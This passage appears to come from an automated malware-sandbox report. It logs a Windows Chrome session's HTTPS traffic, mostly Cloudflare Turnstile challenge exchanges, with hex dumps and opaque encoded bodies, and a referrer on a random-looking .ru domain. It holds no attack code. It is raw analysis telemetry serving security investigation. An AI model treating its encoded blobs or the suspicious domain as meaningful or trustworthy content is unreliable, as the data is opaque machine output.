2024-12-11 01:08:42 UTC	430	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 36 36 37 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6a 2e 71 68 67 67 7a 7a 77 6e 70 66 68 2e 72 75 2f 71 41 42 4a 46 4e 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 33 32 2e 31 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 Data Ascii: [{"age":0,"body":{"elapsed_time":1667,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://cj.qhggzzwnpfh.ru/qABJFN/","sampling_fraction":1.0,"server_ip":"104.21.32.1","status_code":404,"type":"http.error"},"type":"network-error"
2024-12-11 01:08:42 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 11 Dec 2024 01:08:42 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49778	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:43 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/g/i/8f019593d907f5f4/1733879319048/bvqYxnwVgyw7nfb HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:43 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:43 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8f0195cdee184327-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:43 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 00 1c 08 02 00 00 00 73 b5 01 bf 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)sIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49779	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:43 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/g/pat/8f019593d907f5f4/1733879319055/005b92094db5f60ade0c49c66c17570cc25d746f91d9ae8f9072c7aa4a811f79/tZdTIkSbvN9fvuK HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:44 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 11 Dec 2024 01:08:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 1 Connection: close
2024-12-11 01:08:44 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 41 46 75 53 43 55 32 31 39 67 72 65 44 45 6e 47 62 42 64 58 44 4d 4a 64 64 47 2d 52 32 61 36 50 6b 48 4c 48 71 6b 71 42 48 33 6b 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gAFuSCU219greDEnGbBdXDMJddG-R2a6PkHLHqkqBH3kAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-12-11 01:08:44 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49783	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:46 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32154 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:46 UTC	16384	OUT	Data Raw: 76 5f 38 66 30 31 39 35 39 33 64 39 30 37 66 35 66 34 3d 4e 44 4d 7a 31 77 54 30 41 77 41 72 44 58 30 56 6a 55 58 68 7a 75 45 61 41 35 25 32 62 77 63 58 6e 7a 67 56 37 77 58 4f 7a 37 6c 41 4d 58 33 58 7a 7a 5a 45 72 7a 58 46 4d 58 67 31 7a 38 41 58 65 58 5a 6e 54 58 54 62 58 73 6c 6b 2d 4d 58 72 6c 46 58 44 7a 67 59 72 58 4a 54 5a 4d 54 50 35 57 7a 37 59 6a 72 58 61 44 58 67 35 4a 6a 54 5a 4e 58 37 6a 58 36 6e 58 37 72 4c 7a 4d 41 58 49 58 77 44 58 35 73 73 37 47 64 58 51 55 58 41 55 55 58 38 6c 38 54 54 5a 35 4c 61 64 55 35 6e 74 35 58 77 70 54 41 47 35 4c 62 77 5a 35 58 64 4c 38 61 69 77 65 35 67 4d 6a 6e 37 64 65 77 58 77 35 58 65 4d 46 58 62 4d 58 6c 34 4b 45 4d 6d 6f 59 2d 36 6f 66 58 75 63 6e 75 65 5a 4e 4b 36 4b 4a 57 42 2b 55 78 7a 6a 4e 48 48 32 Data Ascii: v_8f019593d907f5f4=NDMz1wT0AwArDX0VjUXhzuEaA5%2bwcXnzgV7wXOz7lAMX3XzzZErzXFMXg1z8AXeXZnTXTbXslk-MXrlFXDzgYrXJTZMTP5Wz7YjrXaDXg5JjTZNX7jX6nX7rLzMAXIXwDX5ss7GdXQUXAUUX8l8TTZ5LadU5nt5XwpTAG5LbwZ5XdL8aiwe5gMjn7dewXw5XeMFXbMXl4KEMmoY-6ofXucnueZNK6KJWB+UxzjNHH2
2024-12-11 01:08:46 UTC	15770	OUT	Data Raw: 7a 58 70 64 59 58 4c 58 72 7a 61 61 37 45 7a 34 45 6a 4d 38 7a 67 7a 58 35 56 38 58 6c 7a 67 4d 58 38 58 75 58 35 7a 54 72 58 61 7a 75 45 77 24 58 65 7a 73 78 32 4b 58 54 58 6e 38 54 51 58 72 41 54 59 54 65 7a 42 63 37 58 54 36 7a 38 64 4f 4e 77 52 58 77 7a 4e 58 61 46 58 50 58 35 56 54 45 7a 57 58 54 59 37 6f 56 4a 58 58 58 54 33 79 7a 6e 45 58 70 58 38 58 54 56 58 52 58 64 7a 72 67 74 6a 58 47 58 77 24 58 24 58 66 2d 37 45 58 2b 58 6b 7a 54 59 37 6f 58 74 64 62 77 54 24 58 37 58 58 58 58 79 42 7a 6e 65 37 49 47 2b 7a 6e 50 54 44 58 79 7a 67 7a 37 4e 58 6a 53 58 64 58 44 58 30 58 38 4f 44 63 58 32 7a 6e 41 58 32 58 56 58 5a 56 58 7a 58 75 7a 38 56 58 51 7a 55 7a 2d 59 58 62 58 6c 7a 75 6a 58 41 58 4b 49 75 49 65 65 58 66 2d 61 4d 77 54 46 6a 4d 37 45 58 Data Ascii: zXpdYXLXrzaa7Ez4EjM8zgzX5V8XlzgMX8XuX5zTrXazuEw$Xezsx2KXTXn8TQXrATYTezBc7XT6z8dONwRXwzNXaFXPX5VTEzWXTY7oVJXXXT3yznEXpX8XTVXRXdzrgtjXGXw$X$Xf-7EX+XkzTY7oXtdbwT$X7XXXXyBzne7IG+znPTDXyzgz7NXjSXdXDX0X8ODcX2znAX2XVXZVXzXuz8VXQzUz-YXbXlzujXAXKIuIeeXf-aMwTFjM7EX
2024-12-11 01:08:46 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 01:08:46 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26288 Connection: close cf-chl-gen: ido9arqHQdjTsgXIZb7MyNbzJPukfi9zmUH+vlgdXs0C7yKvkusKKVLiiBoIA9BAVCsj1nDUhWp7uQsn$xA3YpZYXGlE+PKQB Server: cloudflare CF-RAY: 8f0195de5f8dc333-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:46 UTC	1039	IN	Data Raw: 66 4b 61 45 74 59 6d 69 70 4a 75 59 7a 5a 79 6c 6b 70 75 4d 71 72 2f 54 31 61 32 52 73 4c 4f 78 6c 62 53 2f 77 75 4f 34 35 64 43 68 30 4b 47 66 75 64 79 31 78 63 4c 4a 73 4c 2f 4d 71 73 33 4b 77 75 2b 31 38 65 7a 63 2f 4e 58 30 39 76 6a 62 39 73 44 52 78 63 37 79 78 41 58 30 79 4e 30 4e 2f 41 48 65 35 73 72 70 30 41 48 32 43 2f 6b 4d 38 74 66 62 33 66 63 58 33 52 34 67 34 69 62 75 49 69 4c 68 43 66 30 63 39 2b 54 67 2b 66 67 54 41 52 2f 79 39 53 63 72 39 76 6a 35 42 42 41 39 43 78 67 68 46 41 73 79 52 6b 59 47 49 41 45 30 4e 45 63 48 48 55 73 51 50 6b 51 6a 51 53 59 65 4b 69 4a 56 46 6c 59 53 48 44 46 61 4b 7a 77 33 59 45 78 44 5a 46 39 52 4a 45 52 46 4e 7a 55 6d 52 54 74 46 63 6b 68 52 4c 44 4a 4e 61 6c 4a 70 63 31 6c 51 56 31 49 38 62 58 39 33 66 58 46 Data Ascii: fKaEtYmipJuYzZylkpuMqr/T1a2RsLOxlbS/wuO45dCh0KGfudy1xcLJsL/Mqs3Kwu+18ezc/NX09vjb9sDRxc7yxAX0yN0N/AHe5srp0AH2C/kM8tfb3fcX3R4g4ibuIiLhCf0c9+Tg+fgTAR/y9Scr9vj5BBA9CxghFAsyRkYGIAE0NEcHHUsQPkQjQSYeKiJVFlYSHDFaKzw3YExDZF9RJERFNzUmRTtFckhRLDJNalJpc1lQV1I8bX93fXF
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 55 77 71 48 42 31 71 2b 31 72 35 71 79 71 5a 65 79 79 37 4b 36 76 37 79 34 77 64 66 65 36 73 50 6f 74 38 6a 48 78 63 2f 79 79 38 6e 51 35 73 2f 4e 31 63 54 54 30 64 6a 2b 31 39 58 64 37 66 7a 6c 42 39 76 58 38 65 62 2b 42 4e 62 32 41 66 72 38 7a 4e 48 63 34 74 45 53 7a 77 30 5a 32 68 76 78 47 68 4d 4c 32 78 44 71 37 75 2f 78 41 2f 66 6c 41 51 67 45 37 42 34 68 48 50 30 63 4c 77 45 46 41 52 54 75 49 66 6a 73 4c 44 48 32 48 69 6a 39 46 69 41 4d 42 53 4d 46 52 77 45 36 4a 54 59 32 43 53 4d 74 53 53 41 30 4b 31 5a 41 4c 6b 51 33 55 7a 5a 64 50 44 6b 79 48 54 49 36 56 6a 68 68 4f 54 4d 78 4d 31 73 70 4c 47 4a 58 5a 47 64 6e 4f 7a 74 78 55 45 39 4d 56 45 4e 46 62 47 31 54 63 6d 68 71 55 48 68 44 55 6c 39 41 65 56 35 66 65 44 31 47 66 45 64 73 66 46 39 6f 58 6e Data Ascii: UwqHB1q+1r5qyqZeyy7K6v7y4wdfe6sPot8jHxc/yy8nQ5s/N1cTT0dj+19Xd7fzlB9vX8eb+BNb2Afr8zNHc4tESzw0Z2hvxGhML2xDq7u/xA/flAQgE7B4hHP0cLwEFARTuIfjsLDH2Hij9FiAMBSMFRwE6JTY2CSMtSSA0K1ZALkQ3UzZdPDkyHTI6VjhhOTMxM1spLGJXZGdnOztxUE9MVENFbG1TcmhqUHhDUl9AeV5feD1GfEdsfF9oXn
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 72 4a 7a 49 72 62 6d 76 7a 4b 2b 61 6e 61 43 63 31 65 4c 44 31 75 76 5a 36 39 62 6b 73 4d 66 4a 76 71 76 6e 72 64 43 31 79 63 79 74 36 50 43 36 39 39 7a 7a 76 2f 4c 41 39 2f 37 36 41 4f 59 4a 33 51 44 69 42 38 48 35 38 75 6a 6e 44 65 50 4d 37 75 33 7a 2b 52 77 62 39 42 4c 38 33 67 30 42 4a 50 6b 51 39 4e 34 5a 48 76 59 57 46 66 30 75 44 43 67 4b 4c 76 7a 76 37 42 59 34 38 51 73 57 4f 76 67 55 43 78 41 7a 46 44 55 55 4e 78 31 44 53 51 63 79 4b 42 55 6f 4b 55 49 36 54 53 30 2f 45 54 46 54 4b 45 77 55 55 6b 78 4f 53 43 78 64 48 7a 63 7a 4f 78 73 39 4a 53 38 6e 5a 32 64 6a 56 54 64 6d 5a 44 6c 65 4d 54 74 4c 63 54 52 6c 62 58 56 69 63 32 31 46 64 6e 6c 76 63 46 73 36 50 6a 31 35 59 33 64 7a 51 58 68 4b 52 6e 74 66 69 6b 31 70 5a 56 53 51 63 70 53 43 63 70 5a Data Ascii: rJzIrbmvzK+anaCc1eLD1uvZ69bksMfJvqvnrdC1ycyt6PC699zzv/LA9/76AOYJ3QDiB8H58ujnDePM7u3z+Rwb9BL83g0BJPkQ9N4ZHvYWFf0uDCgKLvzv7BY48QsWOvgUCxAzFDUUNx1DSQcyKBUoKUI6TS0/ETFTKEwUUkxOSCxdHzczOxs9JS8nZ2djVTdmZDleMTtLcTRlbXVic21FdnlvcFs6Pj15Y3dzQXhKRntfik1pZVSQcpSCcpZ
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 71 4b 79 7a 2b 58 69 76 61 4c 69 74 4c 32 32 33 38 66 6d 72 75 57 37 77 50 44 6b 7a 73 33 6c 78 73 76 73 75 65 33 57 41 50 48 4a 30 63 44 45 37 66 66 7a 2b 38 59 4a 79 4f 4c 6d 37 63 59 4e 43 2b 7a 77 41 51 45 54 43 66 48 53 46 76 49 48 32 67 6e 5a 37 65 76 33 44 4f 30 57 42 69 44 33 46 42 2f 6e 4c 68 6b 6c 49 2b 33 6f 45 78 58 6d 35 79 73 30 4a 43 6b 79 37 51 30 79 50 69 38 7a 51 78 30 7a 42 55 48 2b 41 68 74 4c 4f 54 77 4a 42 53 59 38 53 43 6f 51 50 78 30 67 43 54 64 45 4d 46 77 30 53 43 77 74 47 69 74 41 56 57 4a 69 4e 6a 64 63 58 30 6c 4a 53 32 55 36 4a 6b 49 73 59 44 42 74 51 47 56 76 4d 30 68 53 61 48 4a 59 57 30 67 39 4f 32 31 39 65 6e 5a 6d 58 30 4e 2b 63 6a 31 6b 53 33 61 41 61 33 79 4a 5a 46 35 4d 6c 47 4f 4c 69 30 79 61 6a 48 4e 63 6a 58 31 54 Data Ascii: qKyz+XivaLitL2238fmruW7wPDkzs3lxsvsue3WAPHJ0cDE7ffz+8YJyOLm7cYNC+zwAQETCfHSFvIH2gnZ7ev3DO0WBiD3FB/nLhklI+3oExXm5ys0JCky7Q0yPi8zQx0zBUH+AhtLOTwJBSY8SCoQPx0gCTdEMFw0SCwtGitAVWJiNjdcX0lJS2U6JkIsYDBtQGVvM0hSaHJYW0g9O219enZmX0N+cj1kS3aAa3yJZF5MlGOLi0yajHNcjX1T
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 43 30 6f 4b 6d 6c 36 65 4c 63 77 74 33 77 76 73 4c 42 30 62 50 47 37 37 4b 35 38 2b 36 39 39 50 50 41 39 75 37 7a 34 50 72 63 33 2b 66 59 34 4f 72 70 41 76 72 73 37 41 76 37 33 2f 4c 69 7a 52 4d 59 47 76 6a 77 38 75 6e 30 38 2f 6b 68 48 64 30 47 45 51 45 54 39 77 76 70 48 78 6b 69 49 50 76 6f 43 43 55 30 42 77 6b 6c 45 68 4d 33 4e 79 73 4a 47 7a 45 62 44 43 41 6c 47 7a 49 42 49 30 67 6b 53 68 67 46 52 6b 41 34 43 51 34 39 4c 7a 42 56 46 78 49 6e 57 46 56 46 56 31 70 4b 46 6c 59 61 58 6a 59 64 48 7a 31 67 48 32 6c 58 53 30 78 6f 57 57 31 41 4c 57 78 78 59 33 4e 78 51 32 6f 30 5a 33 6c 65 4f 57 74 54 63 54 39 5a 62 56 4f 41 52 6c 64 54 68 49 53 4d 53 55 65 49 62 33 43 52 55 58 78 56 55 6f 4e 72 62 5a 6d 57 6a 57 6c 59 69 36 46 77 59 48 6c 33 62 56 2b 6a 68 Data Ascii: C0oKml6eLcwt3wvsLB0bPG77K58+699PPA9u7z4Prc3+fY4OrpAvrs7Av73/LizRMYGvjw8un08/khHd0GEQET9wvpHxkiIPvoCCU0BwklEhM3NysJGzEbDCAlGzIBI0gkShgFRkA4CQ49LzBVFxInWFVFV1pKFlYaXjYdHz1gH2lXS0xoWW1ALWxxY3NxQ2o0Z3leOWtTcT9ZbVOARldThISMSUeIb3CRUXxVUoNrbZmWjWlYi6FwYHl3bV+jh
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 39 79 4d 36 76 7a 63 72 4d 77 39 54 68 32 65 32 37 38 76 4b 33 36 75 6e 68 7a 37 2f 59 35 65 54 2b 38 65 54 59 31 41 44 75 42 39 7a 70 43 41 72 70 42 41 6f 4f 46 50 67 4c 39 2b 6b 53 46 64 6f 63 41 68 55 45 38 66 73 43 43 50 41 49 49 66 72 6d 36 77 73 4d 4b 79 45 52 36 79 51 69 46 2b 34 7a 4a 78 6b 74 4f 79 77 6d 4d 6a 73 56 49 68 45 68 4f 54 77 6b 46 69 41 37 42 7a 67 36 51 44 42 48 4a 6b 5a 4b 4a 6a 35 4d 54 69 35 49 4e 78 67 32 4d 7a 55 73 50 55 70 43 56 69 52 62 57 79 42 54 55 6b 6f 34 4b 45 46 4f 54 57 64 61 54 55 45 39 61 46 64 76 52 6d 4a 75 4e 31 6c 53 57 6c 38 79 57 48 5a 36 67 48 4a 35 51 34 52 35 66 32 68 34 66 33 2b 41 6a 32 35 77 54 47 57 43 66 6d 68 59 6a 6e 68 55 5a 59 6c 35 62 57 32 5a 67 46 71 6a 6b 34 65 46 6b 4a 69 65 6f 71 69 47 69 59 Data Ascii: 9yM6vzcrMw9Th2e278vK36unhz7/Y5eT+8eTY1ADuB9zpCArpBAoOFPgL9+kSFdocAhUE8fsCCPAIIfrm6wsMKyER6yQiF+4zJxktOywmMjsVIhEhOTwkFiA7Bzg6QDBHJkZKJj5MTi5INxg2MzUsPUpCViRbWyBTUko4KEFOTWdaTUE9aFdvRmJuN1lSWl8yWHZ6gHJ5Q4R5f2h4f3+Aj25wTGWCfmhYjnhUZYl5bW2ZgFqjk4eFkJieoqiGiY
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 31 2b 2f 69 36 2f 48 6e 35 4f 2f 66 2b 2b 6e 7a 2b 66 76 76 2b 66 33 7a 34 76 77 43 42 4f 55 44 33 77 44 78 42 76 50 4d 2f 41 67 4f 35 66 63 4e 31 67 67 46 45 67 41 49 43 52 63 45 49 41 30 61 39 78 67 4b 48 75 59 59 46 79 45 6d 4a 42 77 6d 37 68 49 54 4b 66 49 4b 46 79 33 32 4d 43 63 79 45 50 67 71 4e 68 52 45 4a 6a 6b 6f 46 69 63 38 51 6b 67 31 51 7a 42 4d 4b 6b 59 50 53 44 39 4b 4f 46 51 32 54 6c 4a 55 53 46 4d 77 58 44 39 55 57 6c 52 50 57 6b 67 32 53 6c 35 4d 4a 56 64 6a 51 45 35 50 5a 6b 52 67 55 6d 70 49 61 47 46 76 58 48 78 62 63 6e 5a 73 59 6e 55 2f 62 46 35 36 66 6e 68 30 66 31 78 34 62 6f 4a 77 6b 47 2b 47 54 32 4a 32 69 58 68 52 64 6f 35 38 62 6e 71 52 6c 70 43 4a 6c 4a 71 59 66 35 75 49 70 49 6d 64 6f 6f 71 57 6f 34 43 77 6a 71 57 55 62 5a 4b Data Ascii: 1+/i6/Hn5O/f++nz+fvv+f3z4vwCBOUD3wDxBvPM/AgO5fcN1ggFEgAICRcEIA0a9xgKHuYYFyEmJBwm7hITKfIKFy32MCcyEPgqNhREJjkoFic8Qkg1QzBMKkYPSD9KOFQ2TlJUSFMwXD9UWlRPWkg2Sl5MJVdjQE5PZkRgUmpIaGFvXHxbcnZsYnU/bF56fnh0f1x4boJwkG+GT2J2iXhRdo58bnqRlpCJlJqYf5uIpImdooqWo4CwjqWUbZK
2024-12-11 01:08:46 UTC	1369	IN	Data Raw: 4e 43 31 76 38 7a 34 42 4d 44 30 2b 75 49 43 76 2b 49 4c 79 50 77 44 36 75 76 48 36 68 50 51 42 51 76 78 79 65 37 7a 36 39 4c 53 44 78 49 67 45 50 6a 65 33 41 34 63 46 2b 63 54 49 41 62 64 47 43 49 6d 4d 43 45 46 36 6a 51 6b 44 66 4c 77 49 69 37 33 44 69 67 55 48 2f 73 71 4f 42 37 31 4d 42 34 2f 4d 78 49 64 43 42 6b 64 52 51 59 63 54 69 77 6c 50 78 39 4d 54 79 70 45 4d 52 59 58 44 31 4d 36 48 54 63 35 52 42 73 6c 56 31 6c 43 56 45 4d 37 4b 46 5a 6b 53 30 5a 63 53 6b 56 47 59 45 34 79 4e 45 4e 76 56 30 35 54 56 6d 41 34 53 6e 4e 31 64 48 42 67 56 30 52 79 67 47 64 57 65 47 52 33 59 57 64 74 58 6d 35 32 61 59 31 55 67 70 42 33 6a 49 68 35 61 6e 71 43 64 5a 74 32 6b 49 46 79 67 70 46 39 6f 57 69 57 70 49 74 2b 6e 49 31 2b 6a 70 32 4a 72 34 71 6b 6c 59 61 57 Data Ascii: NC1v8z4BMD0+uICv+ILyPwD6uvH6hPQBQvxye7z69LSDxIgEPje3A4cF+cTIAbdGCImMCEF6jQkDfLwIi73DigUH/sqOB71MB4/MxIdCBkdRQYcTiwlPx9MTypEMRYXD1M6HTc5RBslV1lCVEM7KFZkS0ZcSkVGYE4yNENvV05TVmA4SnN1dHBgV0RygGdWeGR3YWdtXm52aY1UgpB3jIh5anqCdZt2kIFygpF9oWiWpIt+nI1+jp2Jr4qklYaW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49784	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:48 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 01:08:48 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 11 Dec 2024 01:08:48 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: +U5+GDs2YDO/5nI1822BoX/FcHq0q33XzfI=$QUqM2i7GB+fHJs8E Server: cloudflare CF-RAY: 8f0195ec092d8cdd-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 01:08:48 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49785	104.18.94.41	443	4480	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 01:08:55 UTC	1172	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1294472346:1733876751:hEjnv9M7PvDCIxr4v99_qFwLexMGN_wwwduRTkruwIA/8f019593d907f5f4/QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34495 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: QzMvalwCsdc6OyL7EKCMwMpsUR423C8SsWi31NLjlTQ-1733879314-1.1.1.1-5oW9z9Xf7C44vE5TdycT84AOuo2tAEr5ezVJnalSUX3iPk_HesFqDmKe9I0jDlHQ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/e49aa/0x4AAAAAAA0r4R9r9-8F9sCb/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
